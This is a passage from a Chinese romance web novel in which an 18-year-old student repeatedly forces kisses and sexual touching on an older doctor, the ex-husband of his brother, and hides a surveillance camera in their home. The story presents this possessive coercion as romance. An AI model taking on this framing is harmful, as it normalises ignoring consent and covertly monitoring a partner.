许酌深吸一口气,让自己保持冷静,“小弋,我真的没有躲你,你不信你到医院去问问我最近有多忙。” “是么。”丞弋缓慢俯身,“那许酌哥看着我的眼睛再说一遍。” 他凑得太近,许酌能感觉到他铺洒在他脸上的热息。 那热息灼人得厉害,许酌偏头想躲。 丞弋抬手,掰着他的侧脸让他回正,“许酌哥,你要去看哪里?我不是说看着我的眼睛么?” 少年低哑的话音明明算得上平静,可许酌就是觉得他危险极了。 轻轻摩挲在脸上的拇指,也像极了蠢蠢欲动的蛇。 仿佛他如果不肯乖乖听话,就会吐着蛇信子扑过来咬他一口。 许酌不是第一次从丞弋身上感觉到这么危险又强势的气息。 为了避免丞弋再次失控,他还是抬眼去看丞弋的眼睛,然后再一次重复,“小弋,我没有躲” 话音未落,唇上就压过来一片温热的触感。 是丞弋。 丞弋吻了下来。 但他并没有深入,只是一触即分。 等他离开,许酌皱起眉头,“小弋,你真的不怕我生气是吧?” 许酌想表现出几分严肃的威慑力。 但他好像忘了自己这张脸上染着多好看的软粉色。 也忘了自己那双眼睛里因为过度羞愤而漾起多少水雾。 以至于他这样微微蹙眉时,哪里有半分凶相。 分明全是欲拒还迎的勾引。 丞弋呼吸灼热,“许酌哥,你撒谎的时候耳朵是红的。” 许酌:。 许酌硬撑,“我没” 又没让他说完。 丞弋在他开口间趁机吻下来了。 这次的吻不再是一触即分。 也不再像之前那样粗野凶狠。 而是充满了潮湿的挑逗。 他每一个不紧不慢的蹍磨和舔舐都像裹着潮意的浪潮,毫不费力就将许酌口中搅弄得一片湿润。 许酌现在的身体本就敏感,只被丞弋灵活的舌尖轻勾慢舔几下,他就控制不止地全身发软。 许酌被自己的这种反应弄得有些羞愤,开始剧烈挣扎,试图以自己的力量从丞弋口中逃出。 可他越挣扎,丞弋就吻得越深。 呼吸交融间,许酌感觉自己就像被丞弋捕捉到手里的猎物。 他所有的挣扎对丞弋来说都更像是一种兴奋的催化剂。 肺里的氧气越来越少。 大脑也逐渐晕眩起来。 不痛不痒的抗拒在晕眩的影响下渐渐弱化下来,接着又慢慢变成一种下意识的回应。 察觉到这一点的丞弋顿了顿,随即就得寸进尺起来。 他松开许酌的手腕,转而去扣他的腰身。 紧密相贴的身体让一切反应都无所遁形。 滚烫的体温。 炙热的弧度。 许酌被少年人的剑拔弩张紧抵着,被烫到一样从失神的眩晕里骤然回过神来。 他又想后退躲开,可身后已经没有可以让他后退的空间了。 于是他只好抬手去推丞弋。 自然还是没有推开。 尝到甜头的丞弋不但把他扣得更紧了,还捏着他的后颈让他抬头,从而好加深这个吻。 盥洗台柔黄色的光影下,两人鼻尖相触,呼吸缠着呼吸。 逐渐升温的空气里全是丞弋不断加重力度的吸吮和舔舐的水声。 许酌听得面红耳赤,强烈的羞耻心加快了他拍打丞弋肩膀的速度,迫切地想要逃开。 很难得的,丞弋居然听话松开了。 唇舌骤然分开的一瞬,许酌就先偏着头大口喘息。 然而还没喘两口,丞弋就又把他的脸掰了回去。 许酌:。 这小混蛋到底什么癖好,怎么那么喜欢掰他的脸。 丞弋在欣赏许酌的脸。 许酌张口吐着热气,垂眼往里探甚至能看到被吮得艳红的一截软舌。 薄嫩的脸颊和耳廓甚至脖颈全都弥漫着一片粉红。 特别是眼角。 他眼角有潋滟的水雾漫出,打湿那片红,看起来就更像沾了水的花瓣。 简直迷人得要死。 丞弋好想舔。 丞弋凑过去。 许酌躲开,微喘着,“丞弋!你过分了!” 他蹙眉说着凶人的话,“快松开我!” 没有舔到,丞弋也不失落,乖乖后退一步,让自己的热度从许酌哥的小腹上离开。 但目光仍然紧追着许酌水雾朦胧的眼睛,“许酌哥,你喜欢我。” 少年沉哑的声音几乎全是笃定。 许酌刚想因为丞弋的后退而放松下来的心跳又猝不及防狂跳起来…… 为了掩饰那乱掉的心跳,许酌更添几分严肃地避重就轻,“小弋,你现在松开我我不跟你生气。” 丞弋不松,又一遍说,“许酌哥,你喜欢我。” 许酌眉头拧紧,“丞弋!” 空气安静,唯有两人重重的呼吸。 良久之后,丞弋才妥协般开口,“好,我不逼许酌哥。” 有过之前的经验,许酌并没有因此松一口气。 而下一秒,他果然也听丞弋又说,“那许酌哥是不是该回答我第二个问题了?” 丞弋一共就问了两个问题。 一个是为什么躲着他。 一个是他在干什么。 许酌刚才都没回答丞弋,此时更不会回答他。 而他沉默间,丞弋也缓缓抬起了一只手。 许酌垂眼去看,只见丞弋手中安静躺着的那根东西,赫然就是刚才他紧握在手中不肯让丞弋看到的玩具。 许酌茫然了一瞬,他居然不知道丞弋什么时候拿走的。 “许酌哥,这东西好玩么?”丞弋问他。 他语气稀松平常,就好像在问一个随处可见的玩具一样。 许酌没接话,伸手要夺回来。 丞弋直接翻转手腕,让那东西垂直落向地面。 软皮质的东西是不会摔坏的。 但底部的防水开关重重摔到地上时,还是响一道清脆的咔嚓声。 也不知道是不是摔坏了。 许酌想垂眼去看。 丞弋却歪过头挡住他的视线。 “许酌哥,不要玩那个东西了。” 他俯下身,唇瓣似有若无撩着许酌的耳垂,“你把我当玩具,玩我好不好?” 许酌的耳垂很敏感,被丞弋这么烫人的唇瓣一碰,瞬间泛起一阵战栗的酥麻感。 他偏开头,忍着战栗去推丞弋,“丞弋,你再这样闹我真的要生气了。” “我没闹,我认真的许酌哥,我比那个破东西更会伺候你。” 丞弋说话时,扣在许酌腰间的手也缓缓下移,“许酌哥不信的话,可以先试玩一下。” 游移在布料上的手在空气中发出微乎其微的簌簌声,像一只缓慢爬行在草丛间的蛇。 他每下行一寸,许酌的身上就多添一分痒意。 过了最初的那阵羞耻心慌,许酌此时已然平静下来了。 因此,哪怕敏感的皮肤已经不自觉在回应丞弋的抚触,他也能波澜不惊地去和丞弋对视。 所以他没有去抓丞弋的手。 而是由着他动作。 最终,丞弋的手停在了T恤下摆最边缘的位置。 再往下,就是许酌泛着粉色的大腿。 甚至是没有任何遮挡的 丞弋的呼吸很重,停在布料上的手也青筋突显。 似是在抵抗着什么。 许酌能感受到少年人濒临失控的急欲,也看清他眼底偏执的占有欲。 但他还是克制着身上的痒意,缓声而平静说,“怎么不继续了?” 丞弋和许酌对视,眼底湿稠的占有欲几乎要把许酌整个人都吞噬。 可数秒后,他还是将手从许酌腿上移开。 然后略过许酌腰侧,撑在他身旁的盥洗台上,声音低哑又认真,“许酌哥,我不想惹你生气。” “但如果许酌哥需要的话,我真的很愿意做你的玩具。” “也会尽我所能取悦你。” 第37章 第 37 章 家里装了监控。 37 少年人完全就像一只抓住一切机会进攻的野兽。 什么身份对他来说根本不重要。 是玩具也好, 是狗也好。 都无所谓。 他只要能拥有许酌哥。 只要在许酌哥身边。 丞弋不留任何余地的进攻让许酌有些招架不住。 他说话间喷洒过来的热息也烘得许酌面颊滚烫。 他后仰着脑袋,竭力维持面上的平静,“小弋, 我不需要一个高中生来取悦我,现在, 赶紧松开我。” 丞弋没松,黑眸沉沉地包裹着他, “许酌哥,你到底要我说几遍才肯记住我是一个成年男人的事实。” 许酌也看着他,“成年男人不会这么不理智。” 沉默在两人之间蔓延了两秒。 这两秒里, 丞弋的目光从许酌潋滟的眼睛移到他水润殷红的唇瓣, 又移回来。 如此反复了两次,丞弋眸色更深了,“许酌哥,你是不是对自己的魅力一无所知?” “我能忍着不直接把你吃得干干净净,已经是我最大的理智了。” 话越说越混蛋,许酌真的听不下去了,强忍着脸上的燥意,羞恼开口, “小弋,你是真的不听话了是吧?” “我听话。”丞弋缠人的紧, “但许酌哥躲了我十七天, 总要给我一个答案。” 许酌张了张口,还没发出声音, 撑在他身侧的那只大手就悄无声息抚上了他的后腰。 少年的掌心还是那么热,隔着衣料他都觉得烫人。 许酌无意识抖了一下,接着就被丞弋握得更紧。 “许酌哥, 我真的在很努力地克制自己了。”丞弋的视线紧紧凝着他,声音又低又哑,“所以你别再骗我了,好不好?” 空气安静。 两人在无声的沉默中四目相对。 许酌算是发现了,这小混蛋真的很会装委屈。 不过他并不打算心软,也不打算实话实说。 倒不是担心这小混蛋继续得寸进尺。 是因为他既然一开始就不打算开始这段感情,索性也不要让丞弋平白抱有希望。 那太耽误他了。 也很影响他的备考状态。 “小弋,我不想让你难过,但你一定要听实话的话,好,我告诉你。” 丞弋安静等着。 许酌字字清晰,“你的喜欢太热烈了,我没办法给出回应,也不想耽误你,所以才想躲着你。” 他说话间,丞弋就一直紧盯着他不断开合的殷红唇瓣。 等他终于说完,丞弋这才眨了下眼睛,肯定以及确定,“所以许酌哥真的喜欢我。” 许酌:? 许酌怀疑自己哪句话说错了,重新说,“小弋,我说的是我没办” “许酌哥,”丞弋打断他的话,“我知道你在顾虑什么,所以你不用这么哄骗我。” 许酌没说话了。 丞弋抬起手,掌心贴抚在许酌的侧脸,拇指在他柔润的脸颊上轻轻摩挲,“你放心,在你愿意承认之前,我是不会逼你答应我什么的。” “同样的,你也不可以再躲我。” “不然”脸颊上的手缓缓游移到仍未退去红肿的下唇,“我就真的疯给你看。” 许酌还想反驳辩解,但事已至此,他觉得他再继续辩解下去的意义也不大了。 而且,他真的很不擅长说谎。 所以他沉默半晌后,只是轻叹着拨开丞弋的手,“小弋,你现在真的一点也不可爱了。” 哪像小时候,听话又可爱。 偶尔难过哭一下的时候,都是惹人疼爱的委屈小酷哥。 现在,活脱脱就是一个胆大妄为的小混蛋。 手被从脸上拨开,丞弋转个弯又寻上许酌的后腰。 然后又俯下身,在许酌说完话的唇瓣上轻啄了一下。 “只要许酌哥不再躲我,我还是可以继续保持可爱的。” 许酌已经麻木了,对丞弋想亲就亲的无礼行为也懒得再说什么了,只说,“现在可以松开我了么?” 丞弋不太想松。 许酌哥每次洗完澡本就会比平时更加柔软一些,加上又刚被那该死的玩具抚|慰过,整个人就更显软欲迷人。 丞弋看着许酌,黑眸里的侵略没有丝毫收敛,“许酌哥真的不玩一下我么?我真的比玩具好玩多了。” “丞弋。”许酌又一次喊他全名。 丞弋叹气,有些遗憾,“好吧。” 他松开许酌的腰,转而拢上他湿黑的头发,“那我帮许酌哥吹头发吧。” 许酌拨开他的手,“不用,你先出去。” 不想出去不想出去不想出去。 想继续抱许酌哥,想继续亲许酌哥,想进入许酌哥什么都想,就是不想松开。 但要听许酌哥的话。 所以最终,丞弋还是一步三回头地出去了。 走之前,他拿走了掉在地上的玩具,“这东西没收了,许酌哥以后再想要可以直接来玩我。” 等丞弋出去,许酌独自靠在盥洗台用力搓了下脸。 脸很热,心跳很快。 本就没填满的空虚被丞弋这么一搅和,顿时更加焦渴了。 甚至还隐隐生出一种需要他的渴望 乱套了。 这下是真的全乱套了。 许酌都不知道等下要怎么面对丞弋了。 他故意在浴室里拖时间,想等丞弋走了之后再出来。 但转念想到丞弋那过于偏执的性子,等不到他出去的话,估计是不会轻易出门的。 而且,他也不可能真的一直躲着丞弋。 想通这些,许酌深吸一口气,还是慢悠悠开始吹头发了。 吹好头发去衣帽间穿好衣服,许酌也冷静得差不多了。 他从卧室出去。 刚走出去,就见丞弋刚好从玄关的卫生间走出来。 少年人脸颊上带着水,额前的碎发也被打湿了不少。 脸颊和眼尾还泛着不正常的红。 一双朝他看过来的湿眸更是充满了滚烫的热度。 十八岁的男生正是满身性|欲的时候,在里面干了什么不言而喻。 许酌不准备过问这种隐私,目光闪躲着移开视线。 转念想到什么,他又转回目光去看丞弋,“小弋,你怎么知道我回来了?” 丞弋一边走过来,一边抬了抬下巴,“家里装了监控,许酌哥进来的时候没有看到么?” 许酌顺他视线一看,果然在客厅的书架上看到一个黑白色的监控。 那监控放的隐秘。 如果不是丞弋告诉他,他可能根本不会发现。 现在那黑乎乎的镜头就定格在他身上,让许酌有种被监视的不适感。 他看着丞弋,“你别告诉我你装监控就是为了监视我有没有回家的。” “当然不是,许酌哥怎么这么想我?”丞弋一脸无辜,“是许酌哥最近都不回家,我一个人在家住有点害怕,所以才想着装个监控以防万一的。” 许酌:。 许酌都想笑了,“你害怕?” 丞弋毫无负担地点头,“嗯,我这几天写作业都要写到一两点,写完发现家里安安静静的没有一点声音,许酌哥又不在,我就很害怕。” 他越说越委屈,像是真的挨过很多个担惊受怕的夜晚一样。 许酌很清楚他是故意做样子给自己看的。 但心里还是不由自主揪了起来。 沉默几秒后,他放缓了语气,“知道了,最近不忙我都会回来的。” 丞弋唇角一弯,但笑意还未驱散委屈达到眼底,就听许酌又问说,“但你也要答应我一件事。” 丞弋分分钟乖巧,“答应,许酌哥说什么我都答应。” 许酌说,“高考之前你都不许再逃课了。” 他语气正色,“你再敢逃一节课,我就直接搬到医院宿舍去。” “好,我答应!” 丞弋说着,手又不由自主去拉许酌的手,声音黏糊,“只要许酌哥不再躲我,我什么都可以做到。” 许酌简直不知道拿他怎么办才好,无奈空叹一声,“走了,送你回学校了。” 这个时间段不堵车,丞弋也没坚持要做地铁。 而且,他已经半个多月没见许酌了,自然也想多跟他待一会。 路上的时候,丞弋忽然跟许酌说,“许酌哥,我有想考的学校了。” 这倒是个好事,许酌问他,“哪个学校?” 丞弋告诉他,“云城师范。” 许酌惊了下,“你以后想当老师?” 丞弋点头,“嗯,我想当老师。” 许酌有些不知道该说什么了。 倒不是觉得老师这个职业有什么不好,只是丞弋这个气质 如果是之前那个乖乖的丞弋,许酌倒也不觉得有什么违和之处。 但自从见过丞弋不计后果的冲动,还有种种危险又强势的侵略感之后,他就觉得丞弋和教书育人完全不沾边。 不过他并没说什么打消丞弋积极性的话,只说,“你有跟班主任沟通过么?你的成绩只考师范会不会有点亏?” 虽然云城师范也算个一本,但和重点大学相比还是有些差距的。 丞弋嗯了声,“跟老师说过了,老师很尊重我的决定。” 许酌没说话了。 直到车子稳稳停在丞弋的学校门口,他才侧过身子问他,“小弋,你跟我说实话,怎么突然想考师范了?” 丞弋看着他的眼睛,“许酌哥想听实话么?” 许酌,“当然。” 丞弋就笑,“因为我不想要很忙的工作,当老师有寒暑假,我可以有很多时间去照顾许酌哥。” 许酌深吸一口,说,“小弋,我有没有跟你说过,你要” “许酌哥。”丞弋去握他的手,“我也跟你说过的吧,我是个没有自己人生的人,同样的,我也是个没有梦想的人。” “之前小学老师布置过一篇作文,让我们写长大后的梦想是什么,班里的同学都写了,只有我一个人什么也没写。” “我不知道梦想是什么,也不知道长大后的日子有什么好期待的。” “直到丞敛把你带回家,那一天我才知道什么是梦想。” “我的梦想就是你,许酌哥。” “待在你身边,就是我对长大的全部期待。” “所以你不用再说让我为自己活的那种话了,我为自己活不了。” 许酌没说话。 沉默中,他听见丞弋声音很轻地说,“许酌哥,对不起。” 许酌抬眼去看他,“好好的道什么歉。” 丞弋没看他,垂着眼去看那只被自己紧紧扣在手里的手,“因为我不是个正常人,我的喜欢是阴暗的,我的冲动是不受控制的,我总是给许酌哥压力,又总是不顾许酌哥的意愿强迫你” 少年低着的头充满了自责的负罪感,仿佛一个认罪的罪人,正面向他的审判官一条条述诸自己的罪行。 许酌心口一软,下意识开口,“没” 然而话音刚说出口,他就忽地顿住了。 他惊讶自己居然一开口就想说‘没事’。 怎么会没事呢? 他从前分明是个不喜欢被强迫的人。 可不管是上次雨天的强吻,还是今天堪称胡闹的强吻,他都没有任何生气的情绪。 所以,到底是该说他对丞弋的纵容有些过分了? 还是该说他对丞弋的喜欢已经浓烈到可以任由丞弋为所欲为的程度了? 不太清楚,许酌也没多纠结,转而说,“小弋,没有任何一套法律明文规定着什么是正常人,什么是非正常人,你就是你,不用和别人做比较。” “还有,每个人的喜欢都很珍贵,只是表达方式不同,我也一直很尊重你的喜欢。” “但如果你想让别人感受到你的喜欢,我希望你下次可以不要用强迫的这种方式。” “不管是对我,还是对以后你会喜欢的其他人。” “因为保持尊重是喜欢一个人的基本要求,记住了么?” 审判官给出了审判。 被审判的丞弋抬起眼,黑眸里却没有乖乖认错的自觉。 反而蕴满了隐秘的兴奋。 看吧,他的许酌哥还是那么温柔。 温柔的让人迫不及待想把他狠狠占有。 “我记住了。”丞弋弯唇笑。 许酌觉得欣慰,笑着收回被丞弋紧攥着的手,“好了,快进学校去吧。” 丞弋没动,还在眼也不眨地盯着许酌,“那许酌哥什么准备时候跟我谈恋爱?” 许酌:? 许酌没跟上他的思维逻辑,“说什么傻话呢。” “不是许酌哥说的么?”丞弋说,“有对未来的规划才算真正的男人,我现在已经有对未来的规划了。” 许酌轻叹,“小弋,你现在最重要的事情是准备高考,而不是谈恋爱。” 隐秘的兴奋混杂着期待,惹得丞弋眼底无端稠热起来,“所以许酌哥是准备等我高考结束再跟我谈,对吧。” 许酌:。 许酌真的怀疑丞弋真的学过语文里的阅读理解和抓重点么? 这都什么跟什么啊? 许酌想反驳。 然而还没开口,丞弋就已经解开身上的安全带了,“我知道了,我会等许酌哥的。” “反正我一直都很擅长等许酌哥的。” 一句很擅长等人,让许酌想反驳的话又被迫堵在了喉咙里。 倒不是又不忍心反驳了,而是想让丞弋赶紧下车回学校,他也好清净一下。 “好了,快进去吧你。”许酌催他。 丞弋还是没动,看着许酌说,“许酌哥还没给我补偿。” 许酌眨眼,“什么补偿?” 丞弋说,“躲我半个月的补偿。” 许酌无奈,“明天请你喝奶茶。” “不要。”丞弋目光灼灼,“我想要许酌哥亲我一下。” 许酌:“不可以。” 丞弋就换,“那抱我一下。” 许酌还是拒绝,“也不可以。” 丞弋继续,“那摸摸头。” 许酌还要拒绝,丞弋就忽然凑过来说,“许酌哥,你什么都不给的话我就自己拿了。” 许酌:。 小混蛋耍起混来根本不给人任何反抗之力。 而且现在还在校门口。 许酌怕被校门口的保安当成变态,犹豫几秒后还是抬手揉了揉丞弋的头发。 掌心压着头发细细揉搓时,前额刘海盖住一点眼睛。 丞弋的黑眸从细碎的刘海里看出来,带着点黏腻的笑意。 许酌没仔细看,简单揉搓了两下就准备收回手。 结果又被丞弋抓住手腕。 许酌已经习惯了,没挣扎,安静看着他。 好在丞弋没有犯浑,只是微微侧了侧头,将脸颊贴在许酌温软的掌心。 然后边蹭边用目光紧锁着许酌,“许酌哥晚上记得早点回来。” “我一个人在家真的很害怕。” 第38章 第 38 章 下周日|你有时间么? 38 许酌答应了丞弋不再躲着他, 自然说话算话。 晚上下完最后一台手术,许酌就准备换衣服下班了。 只是刚走出办公室,就见谢旌捧着一束花沿着走廊走过来。 谢升华已经出院一个多星期了, 他和谢旌自然也一个多星期没见了。 许酌都以为谢旌不会再想起他了。 谁知这人又半夜找了过来。 “下班了?”谢旌迎着走廊的亮白的顶灯走到许酌面前,散漫又不失开心地笑起来。 许酌嗯, “正准备回家呢。” 谢旌目露期待,“可以给我点时间么?我想跟你聊聊。” 许酌自然点头, “可以啊,我们去楼下吧。” 两人去了楼下的小花园。 夜风徐徐,清爽舒适。 其中还伴随着隐隐花香。 是风从谢旌手中那捧粉色洋牡丹里带出来的。 许酌先找了个话题跟谢旌说, “谢董那天怎么那么着急就出院了, 我都没来得及跟他说声谢。” 寇英朗来闹事的事情被谢旌说给了谢升华。 谢升华在监护室受许酌关照很多,加上他那个舔狗儿子不舍得让人家受委屈。 所以他只好明里暗里跟院长说了很多许酌作为医生的尽职和负责。 虽然院长本来也没准备惩罚许酌。 毕竟医院欠了许酌很多。 但她作为院长是不好公然偏袒哪个医生的。 而且许酌虽然没有真的造成医疗事故。 但他确实违规了。 因为有了谢升华这个投资人在中间说话,院长这才有了可以操作的空间。 最后的调查结果就是不仅免除了许酌越级做手术的惩罚,还再次加强了医院的安保系统。 “你谢他干什么?”谢旌看着许酌,故意拖着腔调,“你不应该好好谢我么?是我让他跟院长说不要欺负你的。” 许酌就顺势说,“好,谢谢谢总, 谢总人最帅最好了。” 根本没用心夸。 但谢旌还是一脸心花怒放的表情,“害, 小帅而已。” 许酌把他的得意尽收眼底, 也适可而止没继续这个话题,转而问, “那谢董最近恢复的怎么样?” 谢旌说,“恢复的挺好的,都可以拿棍子打我了。” 许酌笑, “那肯定是你又惹他生气了。” “还真不是。”谢旌悠悠轻叹,“是他老人家觉得我太没用了,追着一个人喜欢了那么多年都追不上。” 许酌说,“喜欢这种事情是凭缘分的,怎么能怪你没用,你已经非常优秀了。” 谢旌停住脚,在柔黄又朦胧的路灯下看着许酌,“许酌,我真的优秀么?” 许酌跟着停下,“当然。” 他认真说,“不是谁都可以有魄力放弃读了八年的专业回家承担责任的。” 谢旌愣了下,笑了,“我以为你会说我回家继承家产的。” “不会。”许酌说,“我认识的谢旌虽然随性散漫了点,但责任感还是很强的。” 话落,谢旌好一会都没说出话。 只是低头抿着嘴傻笑。 许酌被他笑的都有些无奈了,“谢总,收敛一下好么?” 谢旌这才收敛了一下,但眼底的开心止不住地往外溢,“原来我在你心里也是有优点的。” 许酌纠正他的用词,“不是在我心里,是你本来就有自己的闪光点。” 谢旌怎么会不知道自己身上是有闪光点的。 但知道是一回事。 从许酌口中说出来就是另外一回事了。 就好像平平无奇的水渠照进一轮明月一样,瞬间美得心旷神怡。 谢旌看许酌的目光又舔几分痴迷,“那你觉得我身上有没有可以追到喜欢人的闪光点?” 空气安静。 等夜风再次卷起花香,许酌才开口说,“会的,你一定可以追到一个和你更相配的人。” 是另一种拒绝。 谢旌听出来,眼底的笑意逐渐消散,“许酌,你到底看不上我哪里?” 许酌说,“谢旌,我没有看不上你,是我们根本就是两个世界的人。” “我跟你,不合适。” 谢旌不服气地拧起眉,“怎么就不合适了?人买鞋子还要上脚试试合不合脚呢,你没试试怎么就知道不合适了?” 许酌安静了两秒,才说,“可你在买鞋子的时候会去试一双一看就和你整个人风格不搭的鞋子么?” 谢旌张了张嘴,又闭上,之后又张口说,“那你喜欢什么风格的?丞敛那样的么?” 不合时宜的,许酌脑海里忽然浮现出丞弋的脸。 对他卖乖时的丞弋。 对他装委屈时的丞弋。 还有满眼侵略的丞弋。 甚至还有不管不顾困着他乱啃乱咬的丞弋。 许酌觉得自己真是没救了,微微摇了摇头,跟谢旌说,“谢旌,我喜欢什么风格的对你来说真的不重要,你不可能为我改变。” “退一步说就算你真的改变了,那也不是原本的你了。” “所以算了吧,别在我身上浪费时间了。” 顿了顿,许酌又说,“而且说实话,与其说你现在还喜欢我,不如说你只是不甘心。” 谢旌想反驳,可张了张口却没有发出任何声音。 还喜欢许酌是真的。 不甘心也是真的。 他样样都比丞敛好,凭什么就争不过丞敛? 他沉默的间隙,许酌看了眼他手里的花,“花很漂亮,该送给更合适的人。” “我走了,再见。” 谢旌想挽留,可捧花的手却仿佛有千斤重。 直到许酌的脚步声越走越远,他才猛地转身喊人,“许酌。” 许酌停下,回头看他。 “所以我真的没有机会了么?”灯光下,谢旌眼眶微红。 许酌在夜风里笑起来,“谢旌,伤感不适合你,你该永远随性洒脱。” 开车回家,许酌打开门的一瞬间就听到房间里传出来一道雀跃的声音。 “许酌哥!” 进门抬眼,果然就见丞弋满脸笑容地迎过来。 半个多月没见过这样的丞弋了,今天再次见到居然有种久违的幸福感。 像被大狗狗迎接的幸福感。 “怎么又在客厅写作业?”许酌换鞋的同时,看了眼铺满书本和卷子的餐桌问丞弋。 丞弋张口就要回答,但还没发出声音,他脸上的笑容就先顿住了。 许酌哥身上有花香的味道。 这么浓郁,肯定是被花香萦绕了很久才留下的。 有人送许酌哥花了。 许酌哥可能还收了。 想到这里,丞弋的眼眸立即沉下来。 但他并没询问什么,勉强维持住脸上的笑意,“在客厅可以第一时间看到许酌哥回来。” 许酌多看了他一眼,没说话。 虽然刚才丞弋眼底那抹冷意只是一闪而过。 但还是被他捕捉到了。 他不由自主想到上次把谢旌身上的香水味染回家的那一次。 那一次丞弋也是什么都没问。 但第二天就跑到医院去找谢旌打架了。 为了避免再次出现类似的情况,许酌先一步解释说,“是谢旌送的花,但我没收。” 他话音落下,丞弋眼底愣了一下,随即又肆无忌惮笑起来,“许酌哥,你是在跟我解释么?” 许酌淡然,“我是为了预防叛逆少年又去和人打架。” 话是这样说,但丞弋眼底的开心还是不加掩饰地浓郁起来。 “所以许酌哥担心我。” 许酌没接话了,转身说,“写你的作业吧,我去洗澡了。” 丞弋从他身后抱住他,贴着他的耳廓低声说,“许酌哥,你怎么这么好。” 怎么会有人好到愿意满足他阴暗的占有欲。 “好喜欢许酌哥啊。”丞弋将脸埋在许酌温热的脖颈,声音黏腻,“越来越喜欢许酌哥了。” 热息蹭着最敏感的耳朵,许酌半边身子都酥麻了一下。 他偏着头,抬手去拉丞弋的手,“说什么傻话呢,快松开,我身上脏的。” “不脏。”丞弋深吸了口他身上浅淡的酒精味,“许酌哥身上最香了。” 酥痒的感觉随着丞弋贴着脖颈深闻的动作大肆弥漫起来,如条灵活的蛇一样。 许酌隐隐热起来,手上力气加大了一些,“小弋,松开。” “一分钟,让我抱一分钟好不好?”丞弋声音低低,“求求许酌哥了。” 这小混蛋 许酌闭着眼睛叹了口气,正准备狠心把人推开时,就听耳边又响起声音,“许酌哥,下周日|你有时间么?” 下周日|你 许酌怀疑这小混蛋是故意把话说这么引人遐想的。 许酌忍着热意,故意装没听出来,只是问,“不太确定,怎么了?” 丞弋感受着怀里人逐渐热起来的温度,眼底笑意稠浓,“下周日学校办成人礼,老师让邀请家长,我没人可以邀请,所以想请许酌哥去参加,可以么?” 丞敛和丞父连给丞弋去开家长会的时间都没有,自然也不会去参加什么成人礼。 许酌也没建议丞弋去喊他们,只说,“我不确定那天忙不忙,不忙的话我可以去,但忙的话我可能就没时间了。” 丞弋笑,“好,那就算许酌哥答应了。” 许酌嗯了声,又拍他的手,“可以松开了吧。” 丞弋得了便宜自然得卖乖,听话松开了许酌,眉眼一片满足的愉悦,“许酌哥饿不饿?我去给你煮个夜宵。” 脱离了少年人滚烫的怀抱,许酌不动声色松了口气后才说,“不用,我不饿。” 顿了顿,许酌想起什么,又正色起来,“小弋,你现在离高考没剩下多长时间了,从今天开始,你不可以再用你复习的时间来给我做饭或是送饭,知道了么?” 丞弋露出不太愿意的表情,“给许酌哥做饭不耽误时间的。” “那也不可以。”许酌看着他,“你的时间现在要么复习,要么休息,干什么都行,就是不可以浪费在我身上。” 丞弋撇着嘴还要反驳,许酌先加重语气说,“丞弋,我没跟你开玩笑。” 丞弋沉默。 他是真的很喜欢给许酌哥做饭。 而且做一顿饭根本不会耽误他的学习。 但丞弋转念想到如果他继续坚持的话,那许酌哥可能就会承受着万一他高考失利都是因为他的压力,丞弋瞬间就没有坚持下去的底气了。 他已经给许酌哥很多压力了。 他不能再让许酌哥承受这么重的压力。 “知道了,我听许酌哥的。”他答应许酌,“接下来的时间我都会用来好好准备高考,不会让许酌哥失望的。” 许酌放下心。 丞弋抬手去抚他的脸,“那许酌哥一定要好好吃饭,不能饿到自己,也不能老是吃面包敷衍了事。” 许酌拨开他的手,“好了你,我又不是小孩子,当然知道要好好吃饭。” “真的么?”丞弋凝着他的脸,“许酌哥你躲我的这半个月真的有好好吃饭么?” 并没有。 闲的时候还好,许酌都会按时去食堂吃。 忙起来的时候,他只是让岑嘉祯顺路给他买份咖啡面包快速垫一下肚子。 有几个早上急着做手术,他甚至只用温开水就馒头潦草敷衍一下胃。 丞弋不问还好,毕竟许酌已经习惯了这样的生活方式。 而且之前也没人这样耳提面命叮嘱他要好好吃饭。 付女士自己的饮食习惯都不健康,自然也想不到去管许酌的饮食。 和丞敛结婚期间,丞敛也只是口头叮嘱他要好好吃饭。 事后到底有没有好好吃,他也没真的追究过,只觉得提醒过就算关心过了。 现在被丞弋追着问,他就莫名有种被人紧紧放在心上的暖洽感。 但更多的,还是心虚。 不是被抓包的心虚,是辜负对方关心的一种心虚。 “有的,我每天都按时吃饭的。” 话是这样说,可他的眼睛却已经不敢去看丞弋的眼睛了。 然而丞弋根本不需要去看许酌闪烁的眼睛。 因为许酌瘦下来的脸就是最好的证据。 但丞弋并没有直接拆穿许酌,只是再一次抚上许酌的脸,“许酌哥,我答应你好好准备高考,我就一定会做到。” “你答应了我要好好吃饭,也请你一定要做到,好不好?” 说实话,许酌早已经过了对这种虚浮于表面的关心会心动的年龄了。 毕竟谁都能看出来,这么简单的关心是不需要付出任何成本的。 但玄关柔黄的灯光下,少年人灼热的视线里却漾满了真诚的恳求。 他在恳求他照顾好他自己。 许酌眼底微颤,半晌才垂眼应,“好了知道了,之后会好好吃饭的。” 丞弋没有因为他的答应而笑起来,微微俯身说,“为了防止许酌哥作弊,许酌哥每天都要把吃了什么的照片发给我。” 许酌无奈,“这位同学,你又开始得寸进尺了是吧。” 他拨开丞弋的手,转身进了浴室。 关上门之前,丞弋又来抵住门,“许酌哥,你不答应我是已经做好敷衍我的准备了么?” 许酌看着他,“小弋,我是觉得人与人之间是该保留一点信任感的,你能明白么?” “如果许酌哥不顶着这张瘦了最起码有六斤的脸,我可能会明白。” 许酌:。 许酌叹气,“好好好,会发给你的。” 关上门,许酌拿出盥洗台下面的称,站上去,59.5。 很显然,瘦了。 他的体重一直都在125-127之间浮动的。 现在只有119了。 他不免有些惊讶。 惊讶丞弋居然一眼就看出来了。 而且还看的那么准确。 毕竟他自己都没察觉到。 许酌怀疑这小混蛋眼里是不是装了扫描仪。 第39章 第 39 章 “好爱好爱你。”…… 39 成人礼在四月二十七。 为了不扫丞弋的兴, 许酌特意找人换了班。 但计划总是赶不上变化的。 许酌还是被临时的紧急手术给拖住了。 手术好不容易结束,都已经快十点了。 许酌来不及吃饭,拿上提前准备的花就准备往丞弋的学校赶。 但想到答应过丞弋什么, 又在楼下便利店买了份快餐吃。 还是最高档的快餐,营养均衡的那种。 许酌按照约定给丞弋发了个照片过去, 又打字:[你那边结束了么?我吃个饭过去还来得及么?] 丞弋给他回:[来得及,许酌哥慢慢吃] 还有一句:[路上慢慢开, 不着急。] 许酌还是很着急。 高三成人礼是个很隆重的日子,其他同学的家长都会去参加。 他不想让让丞弋可怜巴巴地羡慕别人。 快速吃完饭,他用了抢救病人的速度往停车场跑。 上车, 启动车子, 把车子开出医院。 十点多的路段不算堵。 但也不算空闲。 